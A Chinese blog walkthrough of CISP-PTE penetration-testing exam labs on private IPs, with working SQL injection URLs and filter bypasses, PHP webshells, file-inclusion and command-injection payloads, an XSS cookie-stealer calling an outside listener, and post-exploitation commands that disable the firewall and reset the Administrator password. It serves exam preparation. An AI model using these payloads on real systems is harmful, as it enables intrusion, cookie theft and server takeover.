CISP-PTE八套真题详解(侵删)

前言

最近考cisp-pte ,把八套真题详细做了一遍,侵权的话请联系删除!!!

第一套题目:

34071-34075

第二套题目:

34041-34045

第三套题目:

34031-34035

第四套题目:

34021-34025 34214

第五套题目:

34011-34015

第六套题目:

34051 34061 34213 34223 34224 34234

第一套综合题:

11.1.10.81-86

第二套综合题:

11.1.10.71-76

第一套题目

34071-34075

sql注入

11.1.10.11:34071

点击开始答题,有一篇文章,文章末尾有代码

根据代码,我们猜测是要对uuid这个参数进行注入,并且过滤了#和--两种注释的方法

方法一:sqlmap一把梭,一步一步注入出key1

方法二:手注

由于两种注释方法被过滤了,根据给出的代码,我们尝试使用单引号将最后的单引号进行闭合

尝试 order by '9999

发现页面回显正常,说明order by并没有生效

所以我们跳过order by 直接尝试进行union select

发现页面显示无数据,说明union select被执行了,接下来我们手动判断有几个字段

当输入到6的时候,页面返回正常,并且发现两个回显点为 2 和 3

我们开始查询数据

bash 复制代码
查询数据库
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',database(),'3','4','5','6
bash 复制代码
查询表(我这里直接使用了火狐的插件进行构造sql语句,很方便)
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x32776562),'3','4','5','6
bash 复制代码
查询列
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x49535f4b4559),'3','4','5','6
bash 复制代码
查询数据
http://11.1.10.11:34071/start/index.php?uuid=983fd952-df4e-4b63-946f-f2e6bb0327d6' union select '1',(SELECT+GROUP_CONCAT(haha+SEPARATOR+0x3c62723e)+FROM+2web.IS_KEY),'3','4','5','6

文件上传

直接先上传一个图片马试试

发现上传失败,猜测可能是对内容做了限制,找一个免杀马试试

上传成功,执行一个phpinfo(); 试试

执行成功,说明生效了,直接使用蚁剑连接,找到key

文件包含


我们发现url中输入了hello ,页面请求到的是hello.txt ,说明后端会给page中的参数强制加上一个.txt

面对这种情况,我们尝试使用data协议进行写一个phpinfo试试看能否执行

bash 复制代码
page=data://text/plan,<?php phpinfo(); ?>

发现data://没了,phpinfo代码也没了,查看源代码,发现phpinfo代码还在,只是没有被执行

我们猜测data://是被替换为空,我们进行双写尝试绕过

bash 复制代码
page=datdata://a://text/plan,<?php phpinfo(); ?>

成功执行,然后把phpinfo改为一句话木马,使用菜刀连接

在上层目录发现key

反序列化漏洞


打开题目,发现一段php代码,说明考察代码审计

unserialize是PHP的反序列化函数,根据代码含义,我们需要get提交一个str变量,反序列化后等于temp这段字符串

所以我们只需要知道temp这段字符串序列化之后的内容即可

我们手写一个php文件,就可以得到序列化之后的内容了:

php 复制代码
<?php
$TEMP = "Whatever is worth doing is worth doing well.";
echo serialize($TEMP)
?>

由于我们考试过程中没有自己的php环境,所以我们在蚁剑中对上一题的目录写入一个php文件,再访问一下:

成功得到序列化之后的内容

使用get方式提交str参数,成功得到key

bash 复制代码
http://11.1.10.11:34074/start/index.php?str=s:44:"Whatever is worth doing is worth doing well.";

失效的访问控制


访问题目,发现只允许本地访问,直接想到XFF使用IP欺骗

bash 复制代码
X-Forwarded-For: 127.0.0.1

使用burp抓包,添加xff内容:

放包发现页面显示当前用户为guest,没有权限查看key

然后查看之前的数据包,cookie中存在Username参数,使用base64解码后发现正是Guest,于是我们只需要修改这个Username的值,并且将IsAdmin改为true,应该就可以实现越权了

修改数据包后,成功得到key5:

第二套题目

34041-34045

sql注入

根据题目,答案在 /tmp/360/key 中

进入题目环境,很明显,我们要注入id,并且害给出了当前执行的sql语句

根据给出的sql语句,我们使用 ') 进行闭合,页面无回显内容

使用#进行注释,发现#被过滤了,使用#的url编码%23试试,页面回显正常

使用order by进行查询字段数,发现空格被过滤了,使用/**/代替空格,到5的时候没有回显,说明有4个字段

进行union select查询回显点

发现union被过滤了,尝试大小写绕过和双写绕过

发现使用双写可以成功绕过,234均为回显点

我们使用load_file() 直接读取/tmp/360/key

bash 复制代码
load_file('/tmp/360/key')

文件上传


上传一个图片马试试,发现上传成功

在burp中改图片马后缀为.pht

发现上传成功,直接使用蚁剑连接找key

文件包含


文件包含的几种方式挨个尝试吧

直接包含,失败

绝对路径,失败

目录穿越,失败

远程包含,失败

data协议写shell,使用蚁剑连接成功

php 复制代码
http://11.1.10.11:34043/vulnerabilities/fu1.php?file=data://text/plan,<?php eval($_POST[pass]);?>

或者使用phpfilter查看源码

bash 复制代码
file=php://filter/read=convert.base64-encode/resource=../key.php

命令执行


127.0.0.1|cat .../key.php

发现cat命令被过滤,问题不大,学了十来种读文件命令了

使用sed直接成功(这个比较好记,哈哈)

bash 复制代码
127.0.0.1|sed ' ' ../key.php

查看源代码发现key

日志分析

将日志放到自己新建的txt中,使用notepad++进行筛选内容,直接找出所有含有200的行

然后再翻一下,发现了好几个路径,一眼看到存在admin的登录路径

访问后成功进入admin的登录页面,我们尝试进行爆破

成功跑出密码

登录成功后获得key

(也可以使用正则表达式做这个题,下一个日志分析就使用了正则)

第三套题目

34031-34035

SQL注入


有注册用户功能,那我们俩先注册个用户进去看看

有个重置密码的功能点

我们通过注册正常的用户名和测试注入的用户名进行比较

比较发现注入点存在重置密码的地方,但存在注入的参数是用户名,也就是说注入点和回显点不一样

根据重置密码的sql语句进行构造

我们想要重置admin的密码,只需要注册一个admin'# 即可

username = ' admin'#'

井号会将后面的单引号注释,成功修改admin的密码

文件上传

上传图片马失败,猜测对内容做了过滤,将图片马中的一句话木马改为免杀马,上传成功

修改后缀为.pht ,上传成功

但是访问时发现没有被当成php执行

修改后缀为php,上传成功,并且成功解析了

(我还以为会过滤php的,没想到没过滤)

蚁剑连接发现key

文件包含


尝试了本地包含、目录穿越、远程包含、data协议等多种方法后还是没出来

直接访问一下view.html 看看有没有什么别的东西

查看源代码,果然有东西

接下来就是代码审计了

isset()函数用于检测变量是否已设置并且非 NULL

代码中base64解码出来是一个base64的一句话木马

php 复制代码
[@eval(base64_decode($_POST[z0]));]

根据代码,需要我们提交一个Hello参数,参数的值为多少都行,然后我们可以通过提交z0参数的base64值进行执行命令

先用phpinfo(); 试一下:

发现执行成功

那么直接写个查看key文件的系统命令(记得最后要加分号)

system('cat .../key.php');

在源代码中找到key

代码审计


既然是代码审计,那就直接看代码

如果我们给cmd赋值并且长度小于等于30,exec就会执行我们的命令

但要注意,exec只会执行命令,不会返回结果

对于这种情况,我们可以使用重定向符,将命令执行的内容重定向到一个文件中,我们通过访问这个文件就可以看到命令执行的结果了,先来个ls试试

php 复制代码
http://11.1.10.11:34034/start/vul.php?cmd=ls > x.html

直接发现key

命令执行


127.0.0.1|ls 失败

127.0.0.1| 失败

看来是直接把管道符给过滤了

我们尝试使用 &&

127.0.0.1 && ls 失败

难道&&也过滤了?

127.0.0.1 && 没有显示失败

说明 && 没有被过滤,是ls被过滤了

127.0.0.1 && pwd 成功

最后发现是过滤了php ,太坑了

使用星号进行匹配,成功得到key

127.0.0.1 && sed ' ' .../key.ph*

第四套题目

34021-34025 34214

SQL注入

和第三套题差不多,只不过将admin'# 给注册了,我们在#后面随便加点字符串就行了

注册一个admin'#123 登录后修改的密码就是admin的密码

文件上传

和上套题一样, 使用免杀马进行上传php文件,使用蚁剑进行连接

文件包含

和上套题一样的

直接访问被包含的文件,源代码发现有代码,通过代码审计,执行命令

php 复制代码
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

日志分析

日志分析,我们要筛选出状态码为200 的日志,推荐使用正则的方式进行筛选

(一定要注意空格,没有空格的地方不要加空格,否则匹配不上)

php 复制代码
^.*"[A-Z]+ /.*\.php.*" 200

匹配后有289条,还是有点多,大概看了一下,有很多index、manager、footer、upload的路径,访问这四个路径后,发现均没有可以利用的地方,所以我们修改正则,将这四个路径去掉

?!index 表示不匹配index

php 复制代码
^.*"[A-Z]+ /(?!(index|manage|footer|upload)).*\.php.*" 200

匹配到了126条,发现匹配到了index,原来有的index前面有两个/ ,我们知道一个/和两个/访问的都是同一个页面,所以我们使用 /? 将两个/的index也筛选掉

/? 表示/可能有可能没有

php 复制代码
^.*"[A-Z]+ /(?!/?(index|manage|footer|upload)).*\.php.*" 200

正则筛选后就只剩下四条了

我们一眼看到/admin/backdoor.php 的路径,很可疑,访问一下,获得key

命令执行

php 复制代码
127.0.0.1|sed ' ' ../key.php

成功获得key

代码审计

34214

对代码进行分析:

php 复制代码
<?php
$v1 = 0;
$v2 = 0;

//使用get方法传递一个名为w的参数
//这个参数的内容是一个json格式的数组
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {

    //这个数组有一个名为bar1的元素
	//这个bar1的元素的内容,不能是数字
    is_numeric(@$a["bar1"]) ? die("nope") : NULL;
	
	//这个bar1的元素的内容,不能是0、空、false
    if (@$a["bar1"]) {
		
		//这个bar1的元素的内容,要大于2020
        ($a["bar1"] > 2020) ? $v1 = 1 : NULL;
    }
	
	"bar1":"8023x"
	
	//bar2元素的内容是一个数组
    if (is_array(@$a["bar2"])) {
	
		//Bar2元素数组内容的个数是5
		//bar2元素数组中第0个元素是数组
        if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
            die("nope");
        }
		
		"bar2":[[0],1,2,3,4]
		
		//bar3元素也是一个数组
        $pos = array_search("cisp-pte", $a["bar3"]);
		
		//bar3元素里一定有一个cisp-pte的元素
        $pos === false ? die("nope") : NULL;
		
		"bar3":["cisp-pte"]
		
		//bar2数组种不能有元素的内容是cisp-pte
        foreach ($a["bar2"] as $key => $val) {
            $val == "cisp-pte" ? die("nope") : NULL;
        }
        $v2 = 1;
    }
}

//v1和v2都为真(非0、非空、非false)时,输出本题答案
if ($v1 && $v2) {
    include "key.php";
    echo $key;
}
highlight_file(__file__);

//构造的json数据如下:
{"bar1":"8023x","bar2":[[0],1,2,3,4],"bar3":["cisp-pte"]}

第五套题目

sql注入:我是差不多先生

11.1.10.11:34011

发现注册功能,注册一个test账号,进入后发现可以发表文章,在发表文章处使用多种闭合字符进行测试:

发现发布失败,使用title进行测试,依然失败,说明两个输入点多半都是注入点

使用burp进行抓包,

尝试构造一下sql语句,猜测sql语句为:

php 复制代码
insert into aritcles(title,content) values('tit','con')

由于不同用户提交的文章是相互独立的,所以很可能有个user参数

php 复制代码
insert into aritcles(title,content,user) values('tit','con','test')

这说明sql语句至少有这三个参数,可能会更多

在火狐浏览器中尝试使用 ')# 进行闭合

失败了,根据之前构造的sql语句,判断可能是由于参数不够导致列数不一致。

(因为#会将后面的内容注释掉,如果content参数后面还有参数就会被注释,导致列数不一致)

于是我们在content参数后面加上一个空值试试,发现成功了,说明content后面还有一个参数

虽然上面提交成功了,但是文章页面并没有我们发布的文章,说明最后一个字段可能是user字段,用来判断文章是谁发布的。

我们将之前加的空字段改为自己的用户名test1:

查看文章页面,发现文章发表成功了,说明我们的猜测是正确的,并且确定了sql语句中最后一个字段一定是用户名的,倒数第二个字段一定是content

为了判断倒数第三个字段是不是title,我们可以在title处进行构造闭合,看结果是否成功

php 复制代码
title=123','123','test')#&content=test

文章发布成功,说明title确定为倒数第三个参数。

开始注入:

在content处使用database()进行查询数据库名

php 复制代码
title=123',(database()),'test')#&content=test

查询出当前数据库名为 2web

然后使用sql查询语句查询表名

php 复制代码
select group_concat(table_name) from information_schema.tables where table_schema='2web'
php 复制代码
title=123',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'test')#&content=test

执行后发现失败了,可能存在一些过滤规则

使用大小写绕过和/**/绕过空格进行尝试

复制代码
SElect/**/group_concat(table_name)/**/FRom/**/information_schema.tables/**/WHere/**/table_schema='2web'

绕过后发布成功,在文章处查看结果

查询出了三个表,根据题目所说,key是admin的密码,所以我们应该进一步查询users1表的内容,继续构造sql查询语句:

复制代码
SElect/**/group_concat(column_name)/**/FRom/**/information_schema.columns/**/WHere/**/table_name='users1'

成功查询出两个列名,接下来我们直接查询password中admin所对应的值就行

复制代码
SElect/**/group_concat(password)/**/FRom/**/users1/**/WHere/**/username='admin'

成功

扩展一下:如果#等注释字符被过滤的话该怎么办?

insert 可以同时插入多条语句,我们利用这个特性,可以将后面的语句进行闭合,成为另一个语句,先尝试使用 (' 进行闭合

php 复制代码
title=123','123','test'),('&content=test

发现失败了,失败的原因是什么呢?

我们之前使用的注释,只需要考虑从后往前的参数,不用考虑title前面有没有参数,现在注释不了了,就要考虑title前面是不是还有参数,我们假设title前面还有一个参数,我们在后面的括号中构造一个空值:

php 复制代码
title=123','123','test'),(' ','&content=test

发现成功了,说明title之前确实还有一个参数,一共有四个参数。

sql语句应为:

bash 复制代码
insert into aritcles(xxx,title,content,user) values('x','title1','content1','user'),('x','title2','content2','user')

相当于一次发表两个文章,我们在title处填写

bash 复制代码
title1','content1','user'),('x','title2

相当于post提交:

bash 复制代码
title=title1','content1','test'),('x','title2&content=content2


成功发布了两篇文章。而且没有使用注释符号。

使用火狐中的插件更加方便,可以直接生成查询的payload:

(注意:使用post提交数据时,要将生成的payload中的+给换成空格)

文件上传

11.1.10.11:34012

上传正常一句话木马的图片马,发现上传失败

猜测可能对内容进行检测了

换一个免杀马,发现上传成功

后缀改为.pht 上传成功

尝试执行phpinfo(); ,成功!

使用蚁剑进行连接,在html目录下发现key.php,得到key

或者使用命令直接查询key.php文件

先ls看下key.php在哪个目录

查看源代码,发现key2

文件包含

url为:http://11.1.10.11:34013/vulnerabilities/fu1.php?file=view.html

因为包含了view.html ,我们直接访问这个html文件:

http://11.1.10.11:34013/vulnerabilities/view.html![在这里插入图片描述](https://file.jishuzhan.net/article/1730962848529518593/c2df8669a330e1c632807843348eff06.webp)

查看源代码:

将base64内容放入txt中,使用notepad++进行解码

@eval(base64_decode($_POST\[z0\]));

接下来就是代码审计了

使用post方式提交一个Hello参数的值并赋给a

isset()函数用于检测变量是否已设置并且非 NULL

使用if判断a是否为空,不为空就执行下面的

preg_replace 函数,执行一个正则表达式的搜索和替换,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码执行

所以通过z0可以执行命令,z0的值需要使用base编码

注意:提交参数时需要再一开始的题目页面进行提交

bash 复制代码
Hello=1&z0=system('cat ../key.php');
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

查看元素,发现key3

命令执行

127.0.0.1| sed '' .../key.php 或者

127.0.0.1| grep '' .../key.php

(注意sed和grep后面是两个单引号,不能用双引号)

验证码爆破

删除验证码和cookie,直接爆破即可

使用密码登录后获得key5

第六套题目

34051 34061 34213 34223 34224 34234

sql注入

这题考察万能密码,使用

php 复制代码
admin '='  

成功登录,获得key

或者在密码处使用

php 复制代码
'Or '1'='1

使用这个万能密码可以绕过用户名,不管用户名是不是admin都可以登录成功

原理如下:

sql注入

还是sql注入

根据sql语句提示,使用')进行闭合,#被过滤了,使用--+进行注释

order by查询字段,发现有7个字段

union select 查询字段回显,发现union没了

使用双写绕过成功

使用load_file()查看key

XSS漏洞

做题思路是写个xss代码获取admin的cookie

php 复制代码
<script>document.write('<img src="http://11.1.12.132:8023?' + document.cookie + '" />');</script>

nc开启监听:

php 复制代码
nc -l -p 8023

看到PhantomJS就说明获取到了admin的key(仅限考试中作为参考)

使用火狐中的插件修改cookie

修改后访问admin页面,成功获得key

文件包含

34223

我们发现page后面的参数是hell,下面输出的是hello.txt,我们将page改为hello.txt试试

发现下面变成了hello.txt.txt,这说明系统会强制给page的参数最后加上.txt

这种情况我们尝试使用data协议进行绕过

phpinfo改成一句话木马:

php 复制代码
http://11.1.10.11:34223/start/index.php?page=data://text/plan,<?php @eval($_POST["x"]);?>

蚁剑连接

或者使用远程包含也行

XSS漏洞


还是这段代码,需要背会!!!

php 复制代码
<script>document.write('<img src="http://11.1.12.132:6789/?' + document.cookie + '"/>');</script>

代码审计


strtolower用于将字符串转换为小写字母

我们构造出语句进行闭合:

php 复制代码
$o=strtolower("                ");
                ");system("ls

我们发现ls被成功执行了

然后就是查看key4.php

php 复制代码
$o=strtolower("                         ");
                ");system("cat key4.php

综合题一

11.1.10.81-86

使用nmap进行扫描端口

nmap -p 1-65535 -T4 -A -v -Pn 11.1.10.81

扫描到了125端口

访问url,发现弹出一个窗口,说username is admin

我们尝试进行爆破密码

使用burp进行抓包

这段base64就是用户名密码的地方,我们进行解码

发现了格式为用户名冒号密码

然后我们进行爆破

使用自定义payload ,Custom iterator

第一个字段输入admin,下面的分隔填写分号

第二个字段选择我们的密码字典,不用填分隔符

添加base64编码

开始攻击,成功爆破出密码

使用密码进行登录,发现一个系统

查看源码看看有没有什么内容

发现注释里说这是静态页面,我们当然要试试才能相信,使用burp尝试抓登录的包,确实没有抓到数据包,说明这确实是静态页面

那么我们使用burp进行目录扫描,注意直接使用工具进行扫描没有我们的登录信息,所以扫描不到

选择这三个字典,并将url编码取消

扫出了三个200的状态码,我们在robots.txt中发现了key6

接下来我们去看看另外两个路径

/news/ 是一个留言系统

/images/ 就是几张图片,看来突破口就在留言系统上

我们先继续对/news/路径进行目录和文件的扫描

发现/phpmyadmin/路径,访问一下看看

发现没有设置密码,直接访问成功了

这里我们想要登录进这个系统有两种方法:

1.进行爆破密码

2.在phpmyadmin中直接修改admin用户的密码

这里我们都尝试一下:

1.进行爆破密码

虽然有验证码,但我们可以通过删除验证码和cookie的方式进行绕过验证码,成功爆破出admin的密码是admin

2.在phpmyadmin中直接修改admin用户的密码

通过在phpmyadmin中查找,找到了admin密码所在

看着应该是md5加密,注意 ,在考试中有以下几种加密方式,一个一个试就行:

md5 md5(md5) sha1 sha1(sha1)

像这个密码,我们使用md5爆破工具爆破不出来,一个不是单纯的md5

我们猜测是两次md5

我们在修改数据之前,一定要记得先把原来的数据在txt中保存一下,防止环境出问题了还原不了

我们将现在的密码保存一下,然后再进行修改

我这里将密码改为123456,然后进行两次md5编码

然后我们在系统登录页面使用修改后的密码进行登录

admin 123456

登录成功,并且发现了系统路径,先记着,之后可能会用上

接下来我们要想办法获取shell

我们现在可以访问phpmyadmin,还知道系统路径,所以我们采用sql语句写shell的方式写一个shell上去

php 复制代码
SELECT '<?php @eval($_POST["x"]);?>' into outfile 'C:/wamp/www/shell.php'

使用蚁剑进行连接:

发现连接失败,突然想起来这个url是需要认证的,所以需要我们在蚁剑添加认证的参数:

连接成功,在目录中发现key7

最后一个key在桌面,所以需要我们进行远程桌面连接。

有三个条件:

1.开启3389端口

2.关闭防火墙

3.知道Administrator用户密码

开启端口我们可以使用工具中开启3389的bat脚本进行开启,将3389.bat通过蚁剑上传上去,使用终端进行运行

关闭防火墙我们使用蚁剑开启终端敲命令关闭即可

php 复制代码
netsh firewall set opmode disable

在终端使用net命令修改密码

php 复制代码
net user Administrator Xx1234..

然后使用远程桌面

php 复制代码
mstsc

成功登录,在回收站的名字发现key8

综合题二

11.1.10.71-76

还是先扫描端口

我们选择扫描11.1.10.73

发现只扫描出了80端口,那我们直接访问,发现需要登录认证

这里和综合题一的方法一样,使用burp爆破

进入后直接发现key6

然后这还是一个登录的页面,我们依然使用burp进行爆破

进入后发现存在图片上传的地方,那么直接尝试进行上传shell

上传shell1.php

使用phpinfo测试成功

使用蚁剑进行连接,记得添加认证信息

连接后在www目录下找到key7

最后一个key在桌面,于是我们重复之前的操作

1.开始3389

2.关闭防火墙

3.修改Administrator密码

使用远程桌面连接

php 复制代码
mstsc

在回收站中发现key8

相关推荐
int型码农28 分钟前
数据结构第八章(一) 插入排序
c语言·数据结构·算法·排序算法·希尔排序
UFIT41 分钟前
NoSQL之redis哨兵
java·前端·算法
喜欢吃燃面42 分钟前
C++刷题:日期模拟(1)
c++·学习·算法
SHERlocked931 小时前
CPP 从 0 到 1 完成一个支持 future/promise 的 Windows 异步串口通信库
c++·算法·promise
怀旧,1 小时前
【数据结构】6. 时间与空间复杂度
java·数据结构·算法
积极向上的向日葵1 小时前
有效的括号题解
数据结构·算法·
GIS小天1 小时前
AI+预测3D新模型百十个定位预测+胆码预测+去和尾2025年6月7日第101弹
人工智能·算法·机器学习·彩票
_Itachi__2 小时前
LeetCode 热题 100 74. 搜索二维矩阵
算法·leetcode·矩阵
不忘不弃2 小时前
计算矩阵A和B的乘积
线性代数·算法·矩阵
不爱写代码的玉子2 小时前
HALCON透视矩阵
人工智能·深度学习·线性代数·算法·计算机视觉·矩阵·c#